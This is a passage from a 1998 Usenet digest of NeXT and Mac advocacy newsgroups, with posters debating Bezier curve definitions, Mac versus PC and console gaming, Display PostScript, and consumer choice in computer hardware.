but if that's his intention, it's best to know now.
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 03 Jun 1998 12:08:34 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uogwa4ge5.fsf@ai.mit.edu>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk> <B199A6F7-1B326@206.165.43.1> <3574D79C.CE3EB26E@trilithon.com>
Henry McGilton <henry@trilithon.com> writes:
> Lawson English wrote:
> * TrueType and TT GX are based on quadratic beziers while
> * PS Type 1 etc use cubic beziers. Are you claiming
> * non-true-WYSIWYG when someone uses a TT font?
> Excuse me --- a Bezier [spline] is *by definition* a cubic.
> TrueType and TT GX [and, early in history, NeWS] used Quadratic
> Splines [the quadratic splines of NeWS were largely developed
> by Vaughan Pratt at Stanford], but they were never referred to
> as Quadratic Beziers. Once again, you appear to not know what
> the hell you are talking about.
Actually, I believe this is incorrect. The Bezier spline family is
really just a curve defined by a summation of a set of control points
multiplied by a Bernstein polynomial function, and the Bernstein poly
can be of any order. The Bezier cubic is the most often-cited case,
however, and as such `Bezier curve' is often considered, albeit
inaccurately, as synonymous with the Bezier cubic.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: edremy@chem1.usc.edu (edremy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 10:19:15 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R0306981019150001@nnrp.usc.edu>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36>
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In article <B19ADC53-174E2D5@141.214.128.36>, "Robert A. Decker"
<comrade@umich.edu> wrote:
> On Tue, Jun 2, 1998 8:03 PM, edremy <mailto:edremy@chem1.usc.edu> wrote:
> > It's especially important to new hardware sales.
>
> Why though? This makes no sense to me. A $200 Nintendo 64 absolutely
> blows away the best PC's out there when it comes to game quality. It's not
> even close.
Actually, you're wrong.
First, while I like shoot-em-up's every now and then, my real interest is
in strategy games- CivII, Myth, TacOps, Heroes of Might and Magic,
Warlords, Master of Orion, etc. Very few strategy games exist for
consoles, and those that do are poor indeed compared to Myth or HOMMII.
Second, the graphics on a Nintendo _aren't_ better than on a PC. Play a
shoot-em-up on a console, then play something like Myth, QuakeII or Unreal
on a top of the line PC with accelerated video. That Nintendo can't do
1024x768- hell, it can't even do 640x480. Colors on a TV are horrible-
they bleed and saturate.
Third, most consoles don't have Internet play. (Some do have modems now.)
The AI in any game made today is lame- humans are far better.
The Nintendo64 is pretty amazing given its price, but it's not real
competition for PC/Mac games.
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 1998 14:47:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6naogp.5pt.sal@panix3.panix.com>
References: <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <6l1rs6$pug$1@new-news.cc.brandeis.edu>
On 2 Jun 1998 21:46:46 GMT, Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
>g) computers have replaced cars/sports cars in modern male western
>culture, except the average male knows even less what he is talking about
That explains the "macho-computing" phenomena. There are users that spend
more time *working on* than *working with* computers. And the PC industry
churn is perfect for them. They can buy a new $250 3d card every 90 days
that offers beta quality drivers and 10% better performance. Has anyone seen
a computer rag called Boot? It is custom tailored for the pc-ness envy crowd.
--
sal@panix.com
Salvatore Denaro
From: robinson@next532-2.gsfc.nasa.gov (Scott Robinson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Intel Merced delays
Date: 3 Jun 1998 14:53:53 GMT
Organization: NASA Goddard Space Flight Center -- Greenbelt, Maryland USA
Message-ID: <6l3o21$3ge@post.gsfc.nasa.gov>
References: <01bd8eac$145d9b80$04387880@test1>
"Todd Heberlein" <todd@NetSQ.com> writes
> gupta@kcopsrm.tm.tta.moc-mirror wrote:
> > After the latest news that Intel's Merced has slipped
> > delivery to some time in 2000, I did a search to find out
> > how much it has slipped overall.
> [munch]
> > PC Week, Jan 19, 1993 has an article that says that Intel
> > would deliver a 64-bit chip, the P7, in 1995, with the first
> > systems shipping in 1996. (This last item does not have its
> [munch]
>
> Wow! Good work.
>
> Sounds a little like feature creep. I seem to recall that Merced is
> supposed to run x86 and HP PA-RISC binaries natively. Furthermore, I
> have read in this newsgoup or macrumors (so, obviously reliable :^)
> that the first generation of Merced will actually run slower than HP's
> PA RISC chip shipping at the same time.
>
> I can picture a bunch of business and marketing people, without an
> engineer in sight, developing the Merced specs, announcing it to the
> world, and then handing it over to the engineering department.
>
> Sounds like a Dilbert comic,
>
> Todd
[cue the sinister music...]
Conspiracy Theory!
NT 5.0: late. later. later. later...
Merced: late. later. later. later...
Coincidence? Surely you jest!
--
J. Scott Robinson / Computer Sciences Corp / (301)286-0934
EMail: robinson@next532-2.gsfc.nasa.gov
Time flies like an arrow. Fruit flies like a banana...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 08:10:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19AB558-4C49@206.165.43.122>
References: <rex-0306981053330001@192.168.0.3>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Eric King <rex@smallandmighty.com> said:
> Furthermore, you don't have to give up
>the client-server aspect of DPS by adopting a PDF graphic engine. Apple
>did, but it's sort of a mystery as to why they really did it.
Security and speed, maybe?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 17:58:24 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l42s0$1eu$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <35744BAE.8D0074FB@trilithon.com> <rex-0206981607490001@192.168.0.3> <6l1pt1$s9f$1@news.cs.tu-berlin.de> <rex-0206981937120001@192.168.0.3> <6l2okk$bjt$1@news.cs.tu-berlin.de> <rex-03
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rex@smallandmighty.com (Eric King) writes:
[shuddering at the sight of Ghostscript]
> I share your sentiment. It is rather scary in there. Weren't they
>supposed to separate the interpreter part from the drawing engine?
As far as I can tell, the interpreter *is* contained in source files
separate from the pure interpreter. However, that AFAICT probably
doesn't go very far. :-)
>:> If you want uniformity, IMO, it's better to create a library that uses
>:>doubles and provides good translation facilities so that a user or
>:>developer never has to worry that certain Postscript implementations might
>:>not be able to display their really really large data. Taligent *did* get
>:>this right.
>:
>:Sure, or a double-based PS-interpreter.
> But you can't guarantee that someone viewing your output will have one.
>There's probably some reasonable range that all Postscript interpreters
>can handle. The graphics system should be able to target that.
A Postscript interpreter should be handle float range, +- 10^(+-)38 with
approximately 8 digits of precision (7 guaranteed, I think). That gives
you enough range for specifying something like the size of the universe
in units such as millimeters, and enough precision for the earth's
circumference in meters or a large poster down to microns.
> Really, what I want is a layer of abstraction between what's displayed
>onscreen and what's output to other formats. IMO, the two shouldn't be
>directly tied to one another.
This is a good idea, but every 'abstract' layer is going to turn into
a concrete implementation. For example, the whole purpose of Postscript
was to serve as an abstract layer between concrete imaging devices.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 10:52:25 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0306981052250001@dante.eng.uci.edu>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <B19A211D-58236@204.202.167.242> <justincsNOSPAM-0306981136310001@ip105.pontiac.mi.pub-ip.psi.net>
In article
<justincsNOSPAM-0306981136310001@ip105.pontiac.mi.pub-ip.psi.net>,
justincsNOSPAM@psi.net (Justin Case) wrote:
>Carmaggedon - now THAT's a riot of a game!
Oh YES! Only downside is that I occasionally find myself in _my_ car
wondering how I could slide around that curve and t-bone that Festiva
there for *big* points. Not something you want to carry with you away from
the computer...
-Bob Cassidy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 1998 18:04:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nb41r.nm9.sal@panix3.panix.com>
References: <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <6l1rs6$pug$1@new-news.cc.brandeis.edu> <slrn6naogp.5pt.sal@panix3.panix.com> <3575687E.7DA200AB@nstar.net> <slrn6natuo.5pt.sal@panix3.panix.com> <35757F5C.798BA612@nstar.net>
On Wed, 03 Jun 1998 16:52:44 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>I used to read articles from talk.politics.libertarian on occasion, and
>one of the things I noticed was a lot of psychobabble about other people
>in lieu of direct conversation.
I've noticed stuff like that as well. Mostly from you. (read on)
> The general gist of the thing was "the
>reason you hold your opinions is..." followed by a postulated discussion
>of the person's upbringing, habits, and resulting psychological profile.
This is funny. I was responding to this post:
>You seem to care so much. What does it mean when you spend so much time
>observing and criticizing others' habits? Maybe you're a professional
>psychiatrist.
>
>Maybe there's something else going on.
>
>MJP
I was directly responding to your attempt at building a psychological
profile of me. I was very insulted. (And I was responding to someone
else's comments on how Computers are replacing cars as hobbies. I agreed
with that assesment and posted what I believe to be a good example
of how that is true. Boot magazine is much like a hotrod magazine for
computers)
<<psychobabble clipped>>
>> >Maybe there's something else going on.
>> Another personal insult? Are you suggesting that I am crazy?
>Actually, no Salvator, I'm not. I'm suggesting that you are projecting
----------------------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>your own preferences on other people and that the resulting
>inconsistencies are causing you to experience some amounts of
>condescension, alienation, even obsession, perhaps. It's a perfectly
>normal phenomenon, one of which I'm continually guilty, especially in a
---------------------------------^^^^^^^^^^^^^^^^^^^^^^
I think you are projecting. I for one have *none* of the feelings that
you listed. I am insulted, but you didn't list that.
--
sal@panix.com
Salvatore Denaro
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 15:15:10 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3575687E.7DA200AB@nstar.net>
References: <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <6l1rs6$pug$1@new-news.cc.brandeis.edu> <slrn6naogp.5pt.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> On 2 Jun 1998 21:46:46 GMT, Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
> >g) computers have replaced cars/sports cars in modern male western
> >culture, except the average male knows even less what he is talking about
>
> That explains the "macho-computing" phenomena. There are users that spend
> more time *working on* than *working with* computers. And the PC industry
> churn is perfect for them. They can buy a new $250 3d card every 90 days
> that offers beta quality drivers and 10% better performance. Has anyone seen
> a computer rag called Boot? It is custom tailored for the pc-ness envy crowd.
You seem to care so much. What does it mean when you spend so much time
observing and criticizing others' habits? Maybe you're a professional
psychiatrist.
Maybe there's something else going on.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 18:13:28 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35759248.533047C7@nstar.net>
References: <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <6l1rs6$pug$1@new-news.cc.brandeis.edu> <slrn6naogp.5pt.sal@panix3.panix.com> <3575687E.7DA200AB@nstar.net> <slrn6natuo.5pt.sal@panix3.panix.com> <35757F5C.798BA612@nstar.net> <slrn6nb41r.nm9.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> I think you are projecting. I for one have *none* of the feelings that
> you listed. I am insulted, but you didn't list that.
Ach, suit yourself. I wash my hands of you.
MJP
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 11:23:59 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0306981124000001@ip105.pontiac.mi.pub-ip.psi.net>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <B19ADC53-174E2D5@141.214.128.36>, "Robert A. Decker"
<comrade@umich.edu> wrote:
> On Tue, Jun 2, 1998 8:03 PM, edremy <mailto:edremy@chem1.usc.edu> wrote:
> > It's especially important to new hardware sales.
>
> Why though? This makes no sense to me. A $200 Nintendo 64 absolutely
> blows away the best PC's out there when it comes to game quality. It's not
> even close.
Actually, both the Playstation and Nintendo 64 are $149.00 dollars. The
extra $50 will buy you a game or an extra controler with change to spare.
;)
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 11:36:30 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0306981136310001@ip105.pontiac.mi.pub-ip.psi.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <B19A211D-58236@204.202.167.242>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <B19A211D-58236@204.202.167.242>, "Edward Dodge"
<edodge@teleport.com> wrote:
> >Take id Software, developer of the popular shoot-'em-up game
> ``Quake.'' It
>
> >did a Mac version of the original game but sold only 50,000 copies.
>
>
> I'll tell you why *I* never bought a copy of Quake:
[snip of some very accurate, thoughtful commentary]
I'll tell you why I *regret* buying Quake. With all the hoopla about
superior graphics and game play - I thought to myself [after installing
it] - geez, this is another Doom, Doom II, Duke Nukem, Dark Forces, etc.
shooter. When will the insanity end and these game manufacturers come up
will a *new* concept?
Carmaggedon - now THAT's a riot of a game!
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: PMR <pmr@aosi.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 10:47:39 -0400
Organization: Princeton Management Resources
Message-ID: <3575620A.FC29A02A@aosi.com>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36> <edremy-ya02408000R0306981019150001@nnrp.usc.edu> <justincsNOSPAM-0306981404010001@ip231.pontiac.mi.pub-ip.psi.net>
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I'd rather play Formula 1 through a great stereo and tv combo with
Playstation than futz with a PC to get an inferior driving
experience...it's really different strokes for different folks.
Justin Case wrote:
>
> In article <edremy-ya02408000R0306981019150001@nnrp.usc.edu>,
> edremy@chem1.usc.edu (edremy) wrote:
>
> > In article <B19ADC53-174E2D5@141.214.128.36>, "Robert A. Decker"
> > <comrade@umich.edu> wrote:
> >
> > > On Tue, Jun 2, 1998 8:03 PM, edremy <mailto:edremy@chem1.usc.edu> wrote:
> > > > It's especially important to new hardware sales.
> > >
> > > Why though? This makes no sense to me. A $200 Nintendo 64 absolutely
> > > blows away the best PC's out there when it comes to game quality. It's not
> > > even close.
> >
> > Actually, you're wrong.
> >
> > First, while I like shoot-em-up's every now and then, my real interest is
> > in strategy games- CivII, Myth, TacOps, Heroes of Might and Magic,
> > Warlords, Master of Orion, etc. Very few strategy games exist for
> > consoles, and those that do are poor indeed compared to Myth or HOMMII.
>
> Agreed.
>
> > Second, the graphics on a Nintendo _aren't_ better than on a PC. Play a
> > shoot-em-up on a console, then play something like Myth, QuakeII or Unreal
> > on a top of the line PC with accelerated video. That Nintendo can't do
> > 1024x768- hell, it can't even do 640x480. Colors on a TV are horrible-
> > they bleed and saturate.
>
> NTSC graphics are set at 640x480 @ 30 fps. Colors will only bleed if the
> producer of the game hasn't a clue what NTSC 'safe' colors are. There are
> thousands upon thousands of colors that are NTSC 'safe'. Most computer
> games play at a 'thousands' setting, if not 256 colors, so your point
> is...?
>
> > Third, most consoles don't have Internet play. (Some do have modems now.)
> > The AI in any game made today is lame- humans are far better.
>
> Internet play is sluggish on standard modems. Network [LAN] games are
> pretty cool, although more than 3 players usually requires another
> purchased copy/CD of the game. Like Warcraft for example; 3 player limit
> per CD, 256 colors, 640x480 and a strategy game to boot which is sluggish
> to play over the Internet!
>
> > The Nintendo64 is pretty amazing given its price, but it's not real
> > competition for PC/Mac games.
>
> Agreed about the console/bang for the buck statement. While the PC may
> have more stategy games, due to I'm certain the idea that computer users
> may be a notch ahead of the 'average' gamers, you cannot discredit the
> fact the consoles have a tremendous amount of action games, dwarfing the
> amount of those of the PC.
>
> --Justin
>
> "What's new, Normie?"
> "Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 12:19:59 -0700
Organization: UC Irvine
Message-ID: <atlauren-0306981219590001@jungleland.acs.uci.edu>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176>
_3;X4o1Yg^$]=Oc\u
In article <mNOSPAMroeder-0206981658270001@192.168.21.176>,
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>> That means Mac users rarely can play the hottest games on the market.
>> They're second-class citizens in this arena.
>
>Oh, dear, and I really needed SimCity and Quake for my work! Man, not
>having games to run on my Mac, what a bummer!
At work, no it's not that important. However, let's remember that anyone
who uses a computer at work will most likely wind up owning a home
computer.
Then let's remember the three reasons why the Average User uses a computer
at home: Games, Personal Finance, and Internet.
Let's further remember that, when making business purchasing decisions,
nearly every human being will lean toward whatever product, or platform,
they are already most familiar with.
Ergo, a healthy games market on a given platform will translate into a
healthy platform. It's one of those things which snowballs.
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 12:14:44 -0700
Organization: UC Irvine
Message-ID: <atlauren-0306981214440001@jungleland.acs.uci.edu>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <B19A211D-58236@204.202.167.242>
_3;X4o1Yg^$]=Oc\u
In article <B19A211D-58236@204.202.167.242>, "Edward Dodge"
<edodge@teleport.com> wrote:
>If the Diablo port is as bad as the Quake port, I'll probably forget
>about
>
>bying *that* one too.
Actually, I *really* like the demo of Diablo. It's amazing what good
graphics will do for you - when my PC roommates were playing it, I
wondered why the spent to much time with a game that looked like crap.
(Particularly on my roommate's sucky monitor.)
Then I played the demo on my Mac, with my NEC monitor. Nice.
And I realized what really makes Diablo a great game - the music. Great
music. Play it with headphones, or on external speakers with good bass.
Nice.
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: jsd@xoxo.gnyg.com (J. DuBois
Newsgroups: comp.sys.next.software,comp.sys.next.advocacy
Subject: OPENSTEP Advocates in the Appleton, WI?
Followup-To: comp.sys.next.software
Date: 3 Jun 1998 18:56:23 GMT
Organization: EarthLink Network, Inc.
Message-ID: <6l468n$5h0$1@bolivia.it.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Keywords: OPENSTEP 4.2, Wisconsin, Appleton, NEXTSTEP
NOTE: FOLLOWUPS TO COMP.SYS.NEXT.SOFTWARE
Hello Folks!
I am looking to make contact with anyone in the Appleton, WI area who uses
OPENSTEP 4.2 and is familiar with installing this on a 2.1 GB or so hard
drive. I am new to the area.
Direct responses are appreciated but you must first remove the "xoxo" which
is meant to avoids spammers.
Kind Regards,
J. DuBois
jsd@xoxo.gnyg.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 13:18:24 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0306981318240001@dante.eng.uci.edu>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <rmcassid-0306980206530001@dialin33417.slip.uci.edu> <357567D5.97F93A3C@nstar.net>
In article <357567D5.97F93A3C@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Robert Cassidy wrote:
>
>> The rushing pace of technology, or the rushing pace of marketing selling
>> technology? I see the latter, where the industry peddles their 5%
>> different products to consumers, making it increasingly difficult to
>> address utility over choice.
>You say this, but I don't understand what your problem with it might be.
>I just don't see the genuine harm, even if we disdain them, in such
>technology issues.
Because they carry across boundaries that directly impact me. While
normally I simply wouldn't care about such issues, when it becomes so
ingrained in the minds of the masses that even your employer questions
your decision of a reliable, easily supported piece of equipment because
of an apparent lack of choice in accessories (generally that means the
computer that the taxpayers pay for won't run the bulk of the games found
at Fry's) then I start to have a real problem with it.
Individual choice is fine, but when it begins to adversely affect
institutional decisions of which I am a part (as a taxpayer or as an
employee) then I start to have a problem.
>I also think that you're focusing on special issues and ignoring larger
>collections of significant technological advances. Even more, I think
>that you're focusing on the consumerism of technology and ignoring much
>more important aspects of the industry's pace.
I'm not ignoring those larger collections of advances, I'm simply not
choosing to adopt your model. I'm all for the pace of the industry to
deliver *real* improvements as well as lower costs and so forth. Yet,
invariably, the industry moves out of step with itself. The hardware moves
forward and the software does not. The software moves forward and the
hardware does not. I'm not at all interested in living right up at the
front of that technological wave. I'll sit back a bit and adopt only when
all the pieces are in place.
So in a sense, the chaos of the PC world acts as a proving ground for what
I want to adopt. That's fine, but I want a place where I don't need to be
involved in the chaos. You seem to suggest that nobody should provide that
place - that chaos is the best thing for all involved. You point to
Apple's current woes as proof of that - that they haven't provided the
multitude of choices that people obviously wanted. My take on it is that
Apple provided the wrong filtering for people. That a certain segment of
the people *want* someone to filter out the chaos (provide utility at the
expense of option), but Apple just didn't do it right. I think Steve's
approach right now is to make Apple into a better broker of technology for
people. I *think* that is what a lot of the Mac installed base and the
historical Mac attractors want. Keep in mind that there are a *lot* of
people out there that loved their Macs and wish they could have that same
service back, all from the days when Apple provided far fewer choices than
now. There *is* a market, but Apple missed it somewhere. The PC makers
aren't finding it either. We'll see if Apple knows what to do to find it
down the road.
>> In a sense, capitalism has built a tremendously large collection of
>> products to choose from that are neither truly fungible nor significantly
>> distinguishable. So we cannot adequately say 'give me a sound card' in the
>> same way we can say 'give me a gallon of gas' yet the variation from sound
>> card to sound card is often so minor as to question why there needs to be
>> any variation at all.
>
>Well, I don't want to label you, Bob, but this argument puts me darkly
>in mind of Orwellian horrors. Let me ask you this: when you shop for
>footwear, do you find it greatly disturbing that there are walls full of
>shoes? Do you wonder why there can't just be one type of shoe that
>everyone can just wear? 'Give me a sneaker', and you wear it?
Personally, I don't care. When I am representing my office, or my
institution, or the taxpayers of this state, and I don't feel as though I
can make informed decisions due to an overwhelming level of consumerism in
the industry and in the minds of the people around me, then yes, I do
care. I don't want just one sneaker for all to wear, but I *do* want to
know about and focus on the nature and value of that sneaker, and if all I
can seem to find and be reminded of is the color and what basketball
player wears the sneaker, then something is wrong. Keep in mind my concern
in not just over the consumerism as put forth by the industry, but the
nature of individuals in this industry to take that consumerism with them
into situations where it should not be present. If I'm buying or servicing
an administrative computer, there should be *no* discussion of sound cards
so long as the basic functionality is there. I don't have time for it.
It's not at all relevant. Factor it out of the equation, please. That's
hard to do in the PC world. It keeps coming back at you.
I don't see why you need to make everything black and white here. I don't
want one choice, I don't want 1 million choices. I want someone to help me
deal with this. I want someone to take some of those choices and distill
them down into a workable, distinguishable set. Take out all the fluff and
clone products. I don't care if my video card is only 94% as fast as the
fastest. And I also don't want my best choice to be 30% of the fastest. So
you can support a model that gives you everything and sometimes delivers a
crappy solution, or you can support a model that gives you a few things
and sometimes delivers a crappy solution. I choose the latter. You choose
the former. Don't tell me I chose wrong. I chose for perfectly valid
reasons. Every bit as valid as yours.
>I would remind you that you do *not* say 'give me a gallon of gas',
>rather you say 'give me a gallon of 87' or 'give me a gallon of '89';
>Shell offers five different octane ratings.
Octane ratings are 'consumerism of technology'. Most studies have found
that it simply doesn't matter what you choose.
>If choice is a genuine problem, you might travel to Eastern Europe.
>There you can truly say, 'give me some meat', and in general, you won't
>have to make any choices. They don't necessarily know exactly what the
>meat is, but that's valuable because then you don't know, either. It's
>all going to the same place, anyway, why bother with where it came from?
I didn't ask for *no* choices, I ask for meaningful choices. I also don't
want to choose my meat based on what the cow's name was, yet if Creation
Labs was in the meat business, they'd probably feel compelled to tell me
that too.
>What do you mean to say, Bob? That *you* can't tell the difference? Then
>you're fine right where you are. It just doesn't make any sense for you,
>over on your side of the fence, to be complaining about what we do on
>our side. Not especially when it sounds suspiciously like so much sour
>grapes.
I *can't* tell the difference, except when the compter tells me that the
software won't work with this product for xxx reason. So there *was* a
difference, yet I wan't able to discern it unless I spent a few hours
cruising through comp.sys.driver.incompatability.
I do envy some of the choice that the PC world has. I'm also critical of
Apple for being a poor broker for me. I'm also pleased that many times
Apple has been an effective broker for me. I'm not pleased that you seem
to promote the notion that Apple should not serve as broker and that I'm
an idiot for allowing them to. Or are you telling me to shut up and stop
complaining about your complaining? I'm still in the advocacy group,
right?
>> Yet my point is also that you don't need to offer *everything* to
>> everybody. In fact, there is value sometimes in *not* offering everything,
>> especially if you are required to support whatever comes along.
>
>Who's required to support what?
I'm required to support whatever bit of hardware and software floats into
this office. I try to do it inexpensively and efficiently to the best of
my ability.
>Nubus/PCI PowerMac? Communications slot? GeoPort devices? Yada yada
>yada...
I'm not arguing that there aren't more divisions here than I would like.
I'm not saying that Apple has been flawless the past 14 years. The main
divisions I need to deal with are NuBus/PCI and IDE/SCSI. So long as the
hardware fits in the slot, it works.
>> But at least I know that within those families, things pretty much just
>> work without intervention on my part. I can't say the same for the PC
>> people I know.
>
>Bob, the PC market is at least 10 times as big as the Macintosh market.
>Does that mean anything to you?
That there are 10 times as many products and opportunities for conflict?
That such a large market surely has the resources and economies of scale
to standardize on a few things? Like drivers and firmware, perhaps?
>> And yet there are large factions in the PC market that keep clamoring for
>> more and more consolidation and standardization. To reduce the amount of
>> choice.
>
>Well, technically, no. You're playing with apples and oranges, Bob.
>
>For instance, standardization of PPC hardware designs of CHRP actually
>would've offered *more* choices.
And more problems? Don't know.
I guess the market around NCs, NetPCs, and initiatives to lower the cost
of administrating a PC are not there. Why do so many companies put _such_
strict limitations on hardware and software purchases? Shouldn't they be
able to deploy systems that provide utility without having to so
drastically impact their choice? Aren't they forcing consolidation and
standardization by mandating that all other products do not exist in their
world? Aren't they adopting a policy whereby the determine at the highest
levels of management what is good enough for all the people below? Or is
that a dark Orwellian horror to you?
>Like the combat boot, for instance. Or the paring knife. Right? Or the
>VCR. Just trying to flesh out the argument.
In a sense, yes. I'm very happy I don't need to deal with proprietary
interfaces and driver issues when hooking up my VCR. VCR's have
opportunities to advance, albeit not as quickly as if they had proprietary
interfaces and custom drivers. Personally, I don't wish for any change
there.
>> Of course the automakers have done their worst to make sure that
>> won't happen to them either - no profit in it.
>
>Hmmmm, heh. I don't want to be pedantic...but product differentiation is
>the basis for free-market competition, see?
True. But that does not necessarily suggest that we should have product
differentiation at all levels, like the size of the gas tank inlet, or the
inclusion or omission of headlights.
